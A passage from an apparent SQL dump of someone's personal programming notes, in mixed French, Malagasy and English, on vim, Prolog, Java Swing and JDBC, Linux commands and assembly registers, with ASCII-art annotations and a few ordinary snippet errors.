lui fait augmenter sa dette\ndebiter pers01 veut dire que tu lui fait augmenter ses avoirs\n',NULL,NULL,'2015-02-17 20:53:14'),(720,'#vim -delete-unwanted-lines',NULL,NULL,':g/^\\s*$/d','2015-02-24 10:17:26'),(721,'#prolog *kb2',NULL,NULL,'\nthis is used in file(prolog-notes.pdf(kb2))\n=====================================================\n\nlistensToMusic(mia).\nhappy(yolanda).\nplaysAirGuitar(mia) :- listensToMusic(mia).\nplaysAirGuitar(yolanda) :- listensToMusic(yolanda).\nlistensToMusic(yolanda):- happy(yolanda).\n','2015-02-18 15:29:21'),(722,'#prolog *kb1',NULL,NULL,'\nthis is used in file(prolog-notes.pdf(kb1))\n=====================================================\n\nwoman(mia).\nwoman(jody).\nwoman(yolanda).\nplaysAirGuitar(jody).\n','2015-02-18 15:30:09'),(723,'#prolog *kb3',NULL,NULL,'\nthis is used in file(prolog-notes.pdf(kb3))\n=====================================================\n\nhappy(vincent).\nlistensToMusic(butch).\nplaysAirGuitar(vincent):-\nlistensToMusic(vincent),\nhappy(vincent).\nplaysAirGuitar(butch):-\nhappy(butch).\nplaysAirGuitar(butch):-\nlistensToMusic(butch).\n','2015-02-18 15:30:52'),(724,'#prolog *kb4',NULL,NULL,'\nthis is used in file(prolog-notes.pdf(kb4))\n=====================================================\n\nwoman(mia).\nwoman(jody).\nwoman(yolanda).\nloves(vincent,mia).\nloves(marcellus,mia).\nloves(pumpkin,honey_bunny).\nloves(honey_bunny,pumpkin).\n\n\nThere are no rules, only a collection of facts.\n\n','2015-02-24 13:57:42'),(725,'#prolog *kb5',NULL,NULL,'\nthis is used in file(prolog-notes.pdf(kb5))\n=====================================================\n\nloves(vincent,mia).\nloves(marcellus,mia).\nloves(pumpkin,honey_bunny).\nloves(honey_bunny,pumpkin).\njealous(X,Y) :- loves(X,Z),loves(Y,Z).\n','2015-02-18 15:32:07'),(726,'#prolog -noname -_',NULL,NULL,'\nbio(louis13, h, 1601, 1643, henri4, marie_medicis).\nbio(elisabeth_france, f,1603,1644, henri4, marie_medicis).\nbio(marie_therese_autriche,f,1638,1683, philippe4, elisabeth_france).\nbio(louis14, h,1638,1715, louis13, anne_autriche).\n...\n...\nto find all female\n	?- bio(X, f, _, _, _, _).\n\n	out:\n		X=elisabeth_france\n		X= marie_therese_autriche\n','2015-02-18 15:39:59'),(727,'#java -action_performed -action_listener',NULL,NULL,'\n                                        <1>\n         v--------------------------------------------------+\nclass class00 extends JFrame implements ActionListener{     |\n            ^ ------------------------------^               |\n        .....             <2>                               |\n        .....                                               |\n        public void actionPerformed(ActionEvent e){         |\n                ..........                                  |\n        }                                                   |\n        .....                                               |  <1>\n        .....                                               |\n                                                            |\n	to add the actionListener to an object_button       |\n	constructor(){                                      |\n		JButton button = new JButton(\"button\");     |\n		button.addActionListener(this);             |\n                                   ^------------------------+\n	}                                           <1>\n}\n\n','2015-02-18 16:22:11'),(729,'#java -jcheckbox -gpn',NULL,NULL,'\nc le pti bouton avec quoi on peut cocher et decocher\n    qd elle est cocher il y a un pti V ou un pt sur le case\n\nJCheckBox jcb01 = new JCheckBox(\"case 1\");                            <<<<<<<<<<<<<<------+\nJCheckBox jcb02 = new JCheckBox(\"case 2\");                                                |\n                                                                                          |\npour avoir l_etat du JCheckBox.                                                           |\n================================================                                          |\n    ...                vvvv-------------------------------------------------+             |\n    public void actionPerformed(ActionEvent e){                             |             |\n            +-------------------------------^                            |--+----------|  |\n            |   +-- pour obtenir l_objet qui a declencher ActionListener(actionPerformed) |\n            |   |                                                                         |\n            |   |                                                                         |\n            v |-+-----|                                                           +-------+\n        if (e.getSource=jcb01) {                                                  |\n            |---+-----------|                                                  ---+-\n                +-----------teste si l_obj qui a declenche actionPerformed est jcb01\n            sop (\"jcb01 is: \"+jcb01.isSelected());\n        }\n    }\n    ...\n','2015-02-18 21:41:44'),(730,'#vim -change-tabs-to-spaces -retab',NULL,NULL,'\n:set expandtab ts=4 sw=4 ai\n:%retab\n','2015-02-18 16:42:10'),(731,'#vim -replace-apostrophe_by_\\apostrophe -replace',NULL,NULL,'\nto do what the tiitle said\n:%s/\\\'/\\\\\'/cg\n\n                        :%s/patt/pattern/cgi\n                         ^  |          | |  |\n   to tell that----------+  +---------++ +--+\n     all lines in                     |  +--------- c   to confirm substitution\n     the file will         a pattern--+                    before subsitute it\n     be considered      which said to               g   replace all occurence \n                        change all                         in the range\n         |                  patt                    i   ignore case for the \n         |                    to                           pattern\n         |                  pattern\n         v\n     could be:\n  :1,10s/...\n    from the 1 till the 10th line\n  :%s/...\n    to select all lines in the file\n\nsome examples:\n    :%s/.../g 4\n        to replace in 4th line from the current position of the cursor\n    :s/\\<his\\>/her/\n        to replace the whole word but not partial word\n    suppose u have this next line,\n        Linux is good. Life is nice.\n        :%s/\\(good\\|nice)/awesome/g\n            -> Linux is awesome. Life is awesome.\n    suppose u have this next line\n        Current file path is ~/test/\n        :%s!\\~!\\= expand($HOME)!g\n        -> Current file path is /home/ramesh/test/\n    \'\n    suppose u have this next in file00.txt\n        Article 1: Vi and Vim Editor: 3 Steps To Enable Thesaurus Option\n        Article 2: Vim Autocommand: 3 Steps to Add Custom Header To Your File\n        Article 3: 5 Awesome Examples For Automatic Word Completion Using Ctrl-X\n        Article 4: Vi and Vim Macro Tutorial: How To Record and Play\n        \'\n        u want to add new article between Article2 and 3\n   +--      :2,$s/\\d\\+/\\=submatch(0) + 1/\n   |        now u have:\n   |            Article 1: Vi and Vim Editor: 3 Steps To Enable Thesaurus Option\n   |            Article 3: Vim Autocommand: 3 Steps to Add Custom Header To Your File\n   |            Article 4: 5 Awesome Examples For Automatic Word Completion Using Ctrl-X\n   |            Article 5: Vi and Vim Macro Tutorial: How To Record and Play\n   |        and u can add ur new article\n   |\n   +-+->>   2,$  from the 2nd line till the end_of_file\n     |      Pattern to Search – \\d\\+ – digits sequence\n     |      Pattern to Replace \n     |          \\=submatch(0) + 1 – gets the matched pattern and adds 1 to it.\n     |      there is no flag\n     |          it will substitutes only the first occurence\n     +----\n\n\nto capitalize sentences,\n    to replace to upper after the char .\n    :%s/\\.\\s*\\w/\\=toupper(submatch(0))/g\n','2015-03-09 07:34:35'),(732,'#vim -many-cmd_in_one-line -map',NULL,NULL,'\nmap <C-w>retab :set expandtab ts=4 sw=4 ai<CR>:%retab<CR>:echo \'retab done\'<CR>\n','2015-02-18 17:20:58'),(733,'#java -jpanel -intro -gpn',NULL,NULL,'\nles composants comme bouton ne peuvent pas contenir d_autre composant\n    les boutons sont alors appelles:\"composants atomique\"\n\njpanel peut en contenir d_autre composant, ifk: on l_appelle \"container\"\n    il ne possede pas de tiitle ni de bordure\n    doit forcement etre ajoutee a une autre conteneur\n    sa couleur par_default est celle du conteneur qui le contient\n        background peut etre changee par pan00.setBackground(Color.yellow);\n\nclass MaFenetre extends JFrame{ \n                                                     +-----copeno :)\n    private JPanel paneau ;                          |\n                                                     |\n    public MaFenetre (){                             |\n        setTitle (\"Fenetre = panneau jaune\") ;     --+\n        setSize (300, 150) ;                       --+\n        paneau = new JPanel() ;\n        paneau.setBackground (Color.yellow) ;   <<<<<<amzai lasa mavo>>>>>>>>>>\n        getContentPane().add(paneau) ;\n    }\n}\n\non utilise souvent une classe a part qui \n    extends JPanel\npuis il y a une autre classe qui extends JFrame\nvoir dans next_line_of_this_table','2015-02-18 21:41:44'),(734,'#java -memo -jpanel -gpn','\nextJPanel extends JPanel\n    public void paintComponent(Graphics g){\n        super.paintComponent(g);\n        g.drawLine(x, x, x, x);\n        ....       |---+----|\n    }                  +-------------------ceci est encore a completer\n                                            c_est quoi leur sens\nextJFrame extends JFrame\n    chp: extJPanel\n    constructor\n        title, bounds, close_default\n        instance extJPanel\n        container=getContainer\n        	//tandremo fa tsisy layout ilay extJFrame rah misy jpanel eo amboniny ah\n        add extJPanel into extJFrame\n        setVisible(true)\n\n',NULL,NULL,'2015-02-18 21:41:44'),(735,'#java -jpanel -intro -gpn',NULL,NULL,'\ntkn jerena ian le lg_amti_table_ti ka mtov ny tiitle an\nmatetika fampiasa ny hoe misy classe00 extends JFrame de\n    classe01 extends JPanel\n\nclass MaFenetre extends JFrame{ \n                                              +----- tandremo eto ann\n    private JPanel pan ;                      |\n                                              |\n    MaFenetre (){                             |\n        setTitle (\"Essai dessins\") ;          |\n        setSize (300, 150) ;                  |\n                                              |\n        pan = new Paneau() ;       <<<<<<-----+   <<<<-+\n         ^ -------------------v                        |\n                              v                        |                                   ATRETO    <<<<<----+\n        getContentPane().add(pan) ;                    |                                                      |\n         v--------------------^        tandremo fa lasa|tsisy layout ilay frame rah misy jpanel ao aminy aa  -+\n        pan.setBackground(Color.yellow) ; // couleur de|fond = jaune\n    }                                                  |\n                                                       |        +--rhf atao anaty \n}                                                      |        |     container ny panel dia \n                                                       |        |     ity methode ity no mnw sary\nclass Paneau extends JPanel{---------------------------+        |     anatinle jpanel\n                     +------------------------------------------+     ary ini jpanel ini no atw\n                     |                                          |     anaty JFrame\n                |----+-------|                                  +---\n    public void paintComponent(Graphics g){ \n        super.paintComponent(g) ;\n        g.drawLine (15, 10, 100, 50) ;\n    }\n}\n\n\n','2015-02-18 21:41:44'),(736,'#java -jradiobutton -buttongroup -gpn',NULL,NULL,'\nJRadioButton bRouge = new JRadioButton (\"Rouge\") ;\nJRadioButton bVert = new JRadioButton (\"Vert\") ;\n\npour que jradiobutton possede un valeur par default\n    JRadioButton bRouge = new JRadioButton (\"Rouge\", true) ;\n\non doit grouper les jradiobutton dans buttongroup\n    buttongroup n_est pas a mettre dans un chp d_une classe\n    \'\n    ButtonGroup groupe = new ButtonGroup() ;\n    \'+-----------^\n    le|suivant va les grouper\n      +>groupe.add(bRouge) ;\n        groupe.add(bVert) ;\n\nle jradiobutton no atao anaty jframe\n\nrah haka anle etat anle jradiobutton00\n    jradiobutton00.isSelected','2015-02-18 21:41:44'),(737,'#java -jtextfield -gpn -intro',NULL,NULL,'\n                                                  +--- amzai 20char ny tafa ao\nJTextField entree1 = new JTextField (20) ;        |\n                                      ^-----------+\n\nJTextField entree2 = new JTextField (\"texte initial\", 15) ;\n                                     ------+------\n                                           +--ty no txt par default ao aminy\nrah te haka anle text ao am jtextField01\n    String str00=entree1.getText();           \n\namzai ilay iz editable na tsia:\n    entree1.setEditable(true);\n    entree1.setEditable(false);\n','2015-02-19 05:00:18'),(738,'#linux -sort-file',NULL,'\nsort -R file00 > file00\n',NULL,'2015-02-18 21:59:46'),(739,'#mplayer -disable-video -no',NULL,NULL,'mplayer -vo null file00.mp3','2015-02-18 22:15:23'),(740,'#netbeans -fold-code-with-code','\n//<editor-fold defaultstate=\"collapsed\" desc=\"comment\">\n    /*\n     * this is a simple comment\n     */\n//</editor-fold>\n',NULL,NULL,'2015-02-18 22:24:30'),(741,'#vim -stuffs -tips-tricksi -long-list',NULL,NULL,'\nu_re in simple user_mode so u can_t save some files bcz bcz ure not root\n	to save it even if ur not root\n	:w !sudo tee %\n\nto go back in time\n	:earlier 15m\n\nto exe bash cmd through vim\n	:.! cmd_lin\n	ex:\n		:.! ls\n		:.! date\n\nMake vim into a hex editor.\n	:%!xxd\nto reverse that\n	:%!xxd -r\n\n#simple\nC - cut the rest of the line and switch to insert mode.\nde	delete everything till the end of the word \nddp - move current line one row down\nviw - select the current_word\nviwU - select the current_word,\n	and put the current_word uppercase\nviw~ - the reverse of viwU\nzz - scrolls the screen to make this line appear in the middle\nbde -- delete the current word\ndf[space] -- delete up until and including the next space\nbye -- copies current word (makes me wonder what \"hi\" does!)\ncc -- cuts the current line, you can also do S instead.\n#end_simple\ngv - Reselects last visual selection.\n#end_simple\n\nCreates an html rendering of the current file.\n	:%TOhtml\nto do a calculation and insert the result into the buffer\n    :r! echo $((3 + 5 + 8))\n\nCorrects indentation for entire file\n    gg=G\n\ntrie les 10 premières lignes\n    1,10%!sort \n','2015-02-18 23:12:51'),(742,'#vim -change-color-bg -background',NULL,NULL,'\n:color blue\n','2015-02-18 22:54:07'),(743,'#java -gpn -jlist -intro',NULL,NULL,NULL,'2015-03-08 12:28:45'),(923,'#java -jlist -list-model -dynamic -gpn',NULL,NULL,'\nwith this u can add dynamically the content of jlist\n    for doing that u can do sth in actionPerformed, like   -----------------------+\n                                                                                  |\nclass FrameList{                                                                  |\n    constructor{                                                                  |\n        DataListmodel listmodel = new DataListModel();                            |\n                                                                                  |\n        listmodel.addElement(\"elt1\");                                        <<---+\n        listmodel.addElement(\"elt2\");                                             |\n        ...                                                                       |\n                                                                                  |\n        JList list = new JList(listmodel);                                        |\n                                                                                  |\n        scrollpane = new JScrollPane(list);                                       |\n                                                                                  |\n        getContentPane.add(scrollpane);                                           |\n        ...                                                                       |\n    }                                                                             |\n                                                                                  |\nthe index of elt in datalistmodel starts from 0                                   |\n                                                                                  |\nto remove an elt, it is better to indicate the index of the elt to remove         |\n    listmodel.removeElementAt(7);                                            <<<<-+\n                                                                                   \n}                                                                                  \n','2015-03-08 13:07:58'),(924,'#java -jtable -long-list',NULL,NULL,'\nto do jtable, u have to put it inside jscrollpane;\n\nit is better that u set the col_name\n\n    String[] cols = {\"col01\", \"col02\"};\n    String[][] data = {\n        {\"11\", \"12\"}, \n        {\"21\", \"22\"}, \n        {\"31\", \"32\"}\n    }\n\n    JTable table = new JTable(cols, data);\n\n    JScrollPane scrollpane = new JScrollPane(table);\n\n    container.add(scrollpane);\n','2015-03-08 13:16:00'),(746,'#java -joptionpane  -gpn',NULL,NULL,'\nboite de msg usuelle\n===============================================================\nJOptionPane.showMessageDialog(extJFrame, \"Hello\"); //normalement\n                                ^^-- ceci etant une fenetre_parent\n\'          \nJOptionPane.showMessageDialog(null, \"Hello\"); //possible\n    // utilisee qd on utilise les prg_mode_console\n\nJOptionPane.showMessageDialog(null, \"Mauvais choix\",\n    \"Message d’avertissement\",\n    JOptionPane.ERROR_MESSAGE);\n    \'\n    le 3em arg:\n        JOptionPane.ERROR_MESSAGE           Erreur\n        JOptionPane.INFORMATION_MESSAGE     Information\n        JOptionPane.WARNING_MESSAGE         Avertissement\n        JOptionPane.QUESTION_MESSAGE        Question\n        JOptionPane.PLAIN_MESSAGE           Aucune icône\n#end_boite_de_msg_usuelle\n\n\nboite de confirmation\n=======================================================\nJOptionPane.showConfirmDialog(extJFrame, \"voulez-vous continuer\") ;\n                                ^^^\n                                 |------ pE etre null\nint rep=JOptionPane.showConfirmDialog(null, \"voulez-vous continuer\") ;\n +--^^^\n |          +-------------------------------------------------+\n |          |  jframe                                         |\n |          +-------------------------------------------------+\n |          |       voulez-vous continuer                     |\n |          |        +-----+ +----+   +------+                |\n |          |        | yes | | no |   |cancel|                |    <<<<<-+\n |          |        +-----+ +----+   +------+                |          |\n |          +-------------------------------------------------+          |\n |                                                                       |\n +--rep=                                                                 |\n        YES_OPTION (0),             ---+---------------------------------+\n        NO_OPTION (1),                 |\n        CANCEL_OPTION (2)              |\n        CLOSED_OPTION (-1)          ---+\n\n\n\n\nboîtes de saisie\n============================================================\nString txt = JOptionPane.showInputDialog (extJFrame00, \"donnez un texte\") ;\n       ^        +-------------------------------------------------+\n       ^        | jframe                                          |\n       |        +-------------------------------------------------+\n       |        |       donnez un texte                           |\n       |        |         +---------------------------+           |\n       |        |         +---------------------------+           |\n       |        |          +------+        +--------+             |\n       |        |          |  ok  |        | cancel |             |\n       |        |          +------+        +--------+             |\n       |        +-------------------------------------------------+\n       |\n       +txt=string tapee dans la boite\n        ou\n        null si rien dedans\n\n\n\n\n                                 v-------------------------------------------------------+\n                        0         1     2         3         4        5                   |\nString[] couleurs = { \"rouge\", \"vert\", \"bleu\", \"jaune\", \"orange\", \"blanc\"} ;   --+       |\nJOptionPane.showInputDialog (fen, \"choisissez une couleur\",                      |       |\n  > \"BOITE D’OPTIONS\",                                                           |       |\n >| JOptionPane.QUESTION_MESSAGE, /* type d’icône, comme au paragraphe 1.2 */    |       |\n || null,   /* icône supplémentaire (ici aucune)*/                               |       |\n || couleurs,/* tableau de chaînes présentées dans la boîte combo */             |       |\n || couleurs[1]) ;        <<<<>>>>>------------------------------------------------------+\n ||                                                                   +-- rouge -+       |\n+||---------------------------------------------------+               |   vert   |       |\n||>boite d\'option                                    |           +---+   bleu   |       |\n+|----------------------------------------------------+           |   |   ...    |       |\n|>---+                                                |           |   |         -+       |\n|>img|choisissez une couleur                          |           |   |                  |\n||img| +-----------------+---+                        |           |                      |\n|+---+ |  vert           | v |  <<<<<-----------------------------+    (vert) -----------+\n|      +-----------------+---+                        |\n|                                                     |\n|    +------+         +--------+                      |\n|    |  ok  |         | cancel |                      |\n|    +------+         +--------+                      |\n+-----------------------------------------------------+\n\nla valeur de retour est de type object du type selectionnee\n    sinon a la valeur \"null\"\nla valeur de retour doit(etre) convertit en string\n\n\n\n\nshowOptionDialog\n=================\nString[] couleurs = { \"rouge\", \"vert\", \"bleu\", \"jaune\", \"orange\", \"blanc\"} ;         <<<<<--+\nint rang = JOptionPane.showOptionDialog (this,                                              |\n        \"choisissez une couleur\",         <<---+                                            |\n      >>\"BOITE D’OPTIONS\",                     |                                            |\n      | JOptionPane.YES_NO_CANCEL_OPTION,      |        <<pour avoir ce style>>>------+     |\n  >   | JOptionPane.QUESTION_MESSAGE,          |            sinon il y a le precedemt |     |\n  |   | null,                                  |                                      |     |\n  |   | couleurs,                              |                                      |     |\n  |   | couleurs[1]) ;  // la valeur par defaut|a afficher                            |     |\n  |   |                                        |                                      |     |\n+-|---|----------------------------------------|-------------------------+            |     |\n| |   >boite d\'option                         |                         |            |     |\n+-|--------------------------------------------|-------------------------+            |     |\n| >-------+                                    |                         |            |     |\n| |  img  |                                    |                         |            |     |\n| |  img  | choisissez une couleur         <<<-+                         |            |     |\n| |  img  |                                                              |            |     |\n| +-------+                                                              |            |     |\n| +------+    +--------+ +--------+   +-------+   +--------+  +-------+  |            |     |\n| | vert |    | rouge  | |  bleu  |   | jaune |   | orange |  | blanc |  | <<<<-------+-----+\n| +------+    +--------+ +--------+   +-------+   +--------+  +-------+  |\n|                                                                        |\n+------------------------------------------------------------------------+\n\n\n','2015-02-20 16:58:33'),(745,'#java -jcombobox -gpn -intro',NULL,NULL,'\nnormalement on utilise jcombobox pour pouvoir selectionnee entre un liste de valeur\n\nString[] couleurs = {\"rouge\", \"bleu\", \"gris\", \"vert\", \"jaune\", \"noir\" } ;\nJComboBox combo = new JComboBox(couleurs) ;\ncombo.setMaximumRowCount (4) ;\n\nexploitation:\n    Object valeur = combo.getSelectedItem() ;\n    String val01 = (String) valeur;\n    ou\n    String val02 = valeur.toString();\n\névénements générés\n    interface ItemListener{                      <<<<<+\n        public void itemStateChanged (ItemEvent e){   |\n            ....                                      |\n        }                                             |\n    }                                         +-------+\n    \'                                        |\n    pour ajouter l_evt a un obj     |---------+----|\n        jcombobox00.addItemListener(implItemListener) ;\n    \'\n    \'\n    il est aussi possible de lui ajouter\n        interface ActionListener {\n            public void actionPerformed(ActionEvent e){ ...; }\n        }\n    \nÉvolution dynamique\n	jcombobox00.addItem (\"orange\") ;\n	jcombobox00.addItemAt (\"rose\", 2) ;\n	jcombobox00.removeItem (\"gris\") ;\n','2015-02-19 05:38:05'),(747,'#java -some-technologies','\nthose are the technologies of java in tutorialspoint.com\n#easymock\n	this is a unit_testing\n#guava\n#ejb\n#jackson\n#jasper_reports\n#java.io_package\n#java.util_package\n#java_xml\n#java.math\n#javamail\n#ibatis\n#hibernate\n#java.lang\n#jdb\n#jdbc\n#jfreechart\n#jmeter\n#jogl\n#jpa\n#junit\n#json\n#jsp\n#log4j\n#lucene\n#maven\n#servlets\n#spring\n#struts\n#swing\n#testng\n#tika\n#xstream\n',NULL,NULL,'2015-02-19 17:58:36'),(748,'#vim -add-txt_begining-of-some-lines','\ntype <C-v>\n    <shift-i>\n    type ur txt\n    hit <esc>\n    wait 1sec\n',NULL,NULL,'2015-02-19 18:00:58'),(749,'#java -regex -intro -long-list',NULL,NULL,'\n\nle plus simple d\'utiliser regex\n             vv -------------------------+\n    String texte =  \"Quand le ciel bas et|lourd\" ;  // texte à tester    \n    boolean b = Pattern.matches(\"a.*\", texte) ;\n                                  ^^------------+\n        b=true si texte commence par \"a\"        |\n        .* designe tt char                      |\n        ^^ -------------------------------------+\n\nmeme resultat que precedemment mais plus complexe.\n    c\'est de compiler d_abord le regex\n        puis comparer regex avec un texte\n    on peut faire bcp d_autre chose avec cette second meth\n    \'\n    String texte =  \"Quand le ciel bas et lourd\" ;  // texte à tester    \n    Pattern p = Pattern.compile(\"a.*\") ;    -----compilation regex-------\n    Matcher m = p.matcher(texte) ;          -----comparaison regex a un txt---------\n    boolean b = m.matches() ;               -----on prend resultat----------\n\n','2015-02-19 18:28:07'),(750,'#java string-convert-to-array-string',NULL,NULL,'\nString txt=\"a\\nb\\nc\";\nString[] txts=txt.split();\n    // txts = [\"a\", \"b\", \"c\"]\n\n','2015-02-19 18:28:07'),(751,'#linux -shuffle-playlist-tee_in-same-file',NULL,NULL,'\n(shuf filePl00; sleep 2) >> file filePl00\n','2015-02-19 19:15:03'),(752,'#mplayer -shuffle-playlist',NULL,NULL,'\nmplayer -shuffle -playlist playlist00.txt\nmplayer -shuffle *\n','2015-02-19 19:21:57'),(753,'#linux -unalias-all',NULL,NULL,'unalias -a','2015-02-19 19:27:36'),(756,'#linux -find-all-shells-installed',NULL,'\ncat /etc/shells\n',NULL,'2015-02-19 19:40:27'),(757,'#linux -get-shells-level',NULL,'\necho \"$SHLVL\"\n',NULL,'2015-02-19 19:41:22'),(758,'#linux -get-current-shell',NULL,'echo $SHELL',NULL,'2015-02-19 19:43:34'),(759,'#linux -environment-variable -sys',NULL,'\nto get all|some variable of your sys, \n	env | less\n',NULL,'2015-02-19 19:47:43'),(762,'#nasm -compil-run',NULL,NULL,'\nasm_comp () \n{ \n    nasm -f elf $1;\n    ld -s -o ${1/.asm/} ${1/.asm/.o};\n    ./${1/.asm/}\n}\n','2015-02-19 20:47:12'),(763,'#java #asm -intro',NULL,NULL,'\ncalling asm in java,\n	u need to study jni or jna\n','2015-02-20 04:54:44'),(761,'#java -matrix -multiplication',NULL,'\n\npublic static int[][] produitMatrices ( int M1[][], int M2[][] )     { \n    int i, j, k, produit[ ][ ] ; \n    produit = new int[N][N] ;                   +---- do not forget this\n                   ',NULL,'2015-02-19 19:55:32'),(764,'#asm -registre -register -intro',NULL,NULL,'\nThe registers stores data elements for processing without having to access the memory\nregistre generaux:\n========================\nAX	accumulateur\nBX	base\nCX	Compteur\nDX	Donnees\n\nAX\n	sert souvent de registre d\'entrée-sortie\n	on lui donne souvent des paramètres avant d\'appeler une fonction\n	utilisees dans operation arithmetique:\n		mul, div des nbr entiers\n	appelles accumulateurs\n\nCX\n	utilisé comme compteur dans les boucles. \n	ex:\n		mov cx, 15\n		label01:\n			; ici les instructions a boucler\n		loop label01\n\n#end_registre_generaux\n\nregistre de segment\n========================\nCS	code segment\nDS	data segment\nES	extra segment\nSS	stack segment\n	attention une mauvaise modification sur eux peut faire planter le machine\n\nCS\n	stocke l\'adresse de segment de la prochaine instruction à exécuter\n		faut pas changer sa valeur directement\n	automatiquement actualisee par le microprocesseur\n\nDS\n	contient l_adresse du donnees en cours\n\n#end_registre_segment\n\n\n\nregistre offset\n========================\nIP	instruction pointer\nSP	stack pointer\nSI	source index\nDI	destination index\nBP	base pointer\n\n#end_registre_offset\n\nregistre des indicateurs\n===========================\nCF	carry flag\nPF	parity flag\nAF	auxilary carry flag\nZF	zero flag\nSF	sign flag\nTF	trap flag\nIF	interrupt flag\nDF	Direction flag\nOF	overflow flag\n\nCF\n	stocke les retenus dans l_operation arithm\nPF\n	stock les informations sur la parite du resultat\nZF\n	passe a 1 si le resultat de certain operation est 0\nSF\n	passe a 1 si le resultat de certain operation est negatif\nTF\n	utiliser lors d_un debogage d_un prg\n	si = 1 certains instruction du debogueur s_exe\nIF\n	si 1 alors empeche l_appel d_interruption\nDF\n	utilisee dans operations sur les chaines\n	si 1 l_operation sera parcourue en sens des adresse decroissant\n		sinon adresses seront croissant\nOF\n	indique debordement de capacite de stockage\n	\n#end_registre_indicateurs\n','2015-02-20 05:40:40'),(755,'#java -jdbc -intro -long-list',NULL,NULL,'\nmany operation in jdbc launches SQLException\nall of the next command will throw SQLException\n\nu need to \n    import java.sql.*                                               \nfor doing jdbc                                    \n\n                                                    +-----\"jdbc:mysql://host00/db00\"-\nregister ur driver:                                 |\n    Class.forName(\"com.mysql.jdbc.Driver\");         |\n                                                    |\nopen a connection:                                |-+--|\n    Connection conn = DriverManager.getConnection(DB_URL,USER,PASS);       \n  \nexecute query\n    execute query S_E_L_E_C_T and put the result inside ResultSet\n        Statement stmt = conn.createStatement();                    ------+\n        ResultSet rs = stmt.executeQuery(sql_query);                ------+\n                                                                          |\n    execute query (insert, update, delete)                                |\n        Statement statement = connection.createStatement();               |\n        statement.executeUpdate(query);-----------------------------------+\n\n                                  +------------- if the type of data in the \nextract data from ResultSet       |                 db is int\n    int id = rs.getInt(\"id\");   --+\n    int age = rs.getInt(\"age\"); --+          +-- if the type of data in the \n    String first = rs.getString(\"first\");  --+      db is text, varchar, ....\n    String last = rs.getString(\"last\");    --+\n\n\n                                    +-+--     pour parcourir les lignes des resultat\nto get a result from resultSet:     | +--       de la requete\n    while (resultset.next())     ---+                                               <<<<------+\n        String res00 = resultset.getObject(i).toString()                                      |\n                                           ^+-----------+                                     |\n                                                        v                                     |\n                                            on prend le i-em colonne du resultat              |\n                                              sachant que le parcours de ligne est faite par  |\n                                                while(resultset.next()) ----------------------+\n\n\nclean up the environment\n\n    rs.close();\n    stmt.close();\n    conn.close();\n\n','2015-03-09 20:35:13'),(765,'#vim -imap',NULL,NULL,'\nimap sert a faire des map lors du mode INSERT\nex:	imap <C-w>potatoes \"this is ur potatoes\"\n	then, in insert mode if u type <c-w> and u type potatoes\n		u will get \"this is ur potatoes\" in the current buffer\n','2015-02-20 05:24:47'),(766,'#vim -show-cmd',NULL,NULL,'\nto show cmd being entered in console of vim\n	:set showcmd\n','2015-02-20 05:24:47'),(767,'#asm -data-register -eax -form',NULL,NULL,'\n\n\neax |       ax              |   ah  |   al  |\nebx |       bx              |   bh  |   bl  |\necx ........................................\nedx ........................................\n\n','2015-02-20 05:55:14'),(768,'#asm -eax -roles',NULL,NULL,'\nax:\n	used in input/output and most arithmetic instructions\n\n','2015-02-20 05:57:15'),(769,'#java -gpn -jdialog -intro',NULL,NULL,'\nclass FenDialog extends JFrame implements ActionListener{\n\n    private JButton lanceDial ;                                                   <1>\n                                                                                   +----------------------------------------------+\n    public FenDialog (){                                                           |   essai boite de dialogue                    |\nefa -+- setTitle (\"Essai boite de dialogue\") ;                                     +----------------------------------------------+\ntkn  |  setSize (400, 200) ;                                                       |       +---------------------+                |    <2>\nkobon|  lanceDial = new JButton (\"Lancement dialogue\") ;                           |       | lancement dialogue  | <---<<click>>--+-----+\nlah  |  Container contenu = getContentPane() ;                                     |       +---------------------+                |     |\n:P  -+  contenu.setLayout(new FlowLayout()) ;     +boite modale=true               |                                              |     |\n     |  contenu.add (lanceDial) ;                 |  alors l_user ne               |                                              |     |\n     +- lanceDial.addActionListener(this) ;       |  peut pas interagir avec       |                                              | <<click>>\n    }                                             |  d_autre composant tant_que    |                                              |     |\n                                                  +- l_action ici n_est pas finit  |                                              |     |\n                                                  |                                |                                              |     |\n    public void actionPerformed (ActionEvent e) { +----vvvv                        |                                              |     |\n        JDialog bd = new JDialog(this, \"Mon dialogue\", true) ;   +-+               +----------------------------------------------+     |\n        System.out.println (\"avant affichage boite dialogue\") ;    |                                                                    |\n        bd.setSize (250, 100) ;                                    |                    <3>                                             |\n        bd.setVisible(true) ;                                    +-+------+                +---------------------------+                |\n        System.out.println (\"apres fermeture boite dialogue\") ;           +---------->>    | mon dialogue              |  <<<<------<<click>>\n    }                                                                                      +---------------------------+   une nouvelle \n                                                                                           |                           |    fenetre s_affiche\n    public static void main (String args[]){                                               +---------------------------+    apres click\n        FenDialog fen = new FenDialog() ;\n        fen.setVisible(true) ;\n    }\n\n}\n','2015-02-20 17:23:40'),(770,'#java -gpn -jmenubar-jmenu-jmenuitem -JCheckBoxMenuItem -JRadioButtonMenuItem',NULL,NULL,'\nla barre des menu est jmenubar\nles menus qui sont dans jmenubar(qui defilent qd on clique sur jmenubar)\n        est jmenu\nle composant final est jmenuitem(qd on clicke sur jmenu)\n\non a donc le schema suivant                 +--------------------------------------------------------------------------------+  \n   jmenubar >> jmenu >> ... >> jmenu >> jmenuitem           |                                                                                |\n     ^                                      |                                                                                |\n     |                                      |                       +-----------------------------------------------+        |\n     +- ne possede pas de title             |                       | jframe                                        |        v\n                                            |                       +------+------+------+--------  -+   -----------+        v\ninstanciation jmenubar:                -----+        >>JMenu---------xFile | Edit | View |           +------------------ JMenuBar\n    JMenuBar jmenubar00 = new JMenuBar();            |              +|-----+------+------+          -+              |\n        // ne possede pas de tiitle                  |              ||                                              |\npour attacher jmenubar a un extJFrame                |              ||                                              |\n    extJFrame00.setJMenuBar(jmenubar00);             |              ||                                              |\n                |--+------|                          |              ||                                              |\n                   +--------- (attention)            |              ||                                              |\n                         ceci n_est pas .add()       |              +|----------------------------------------------+\n                                                     |               |          \n                                                     |               |          \ninstanciation jmenu.                              ---+               +----------+ --+--- jmenuitem[]\n    JMenu jmenu00 = new JMenu(\"File\");                               | Save     |   |         ^\npour ajouter jmenu00 a jmenubar00                                    +----------+   |         ^\n        jmenubar00.add(jmenu00);                                     | Save As  |   |         |\n                                                                     +----------+   |         |\n                                                                     + New      +   |         |\ninstanciation jmenuitem:                              --------+      +----------+   |         |\n    JMenuItem jmenuitem00 = JMenuItem(\"Save\");                |      | Close    |   |         |\npour ajouter jmenuitem00 a jmenu00                            | 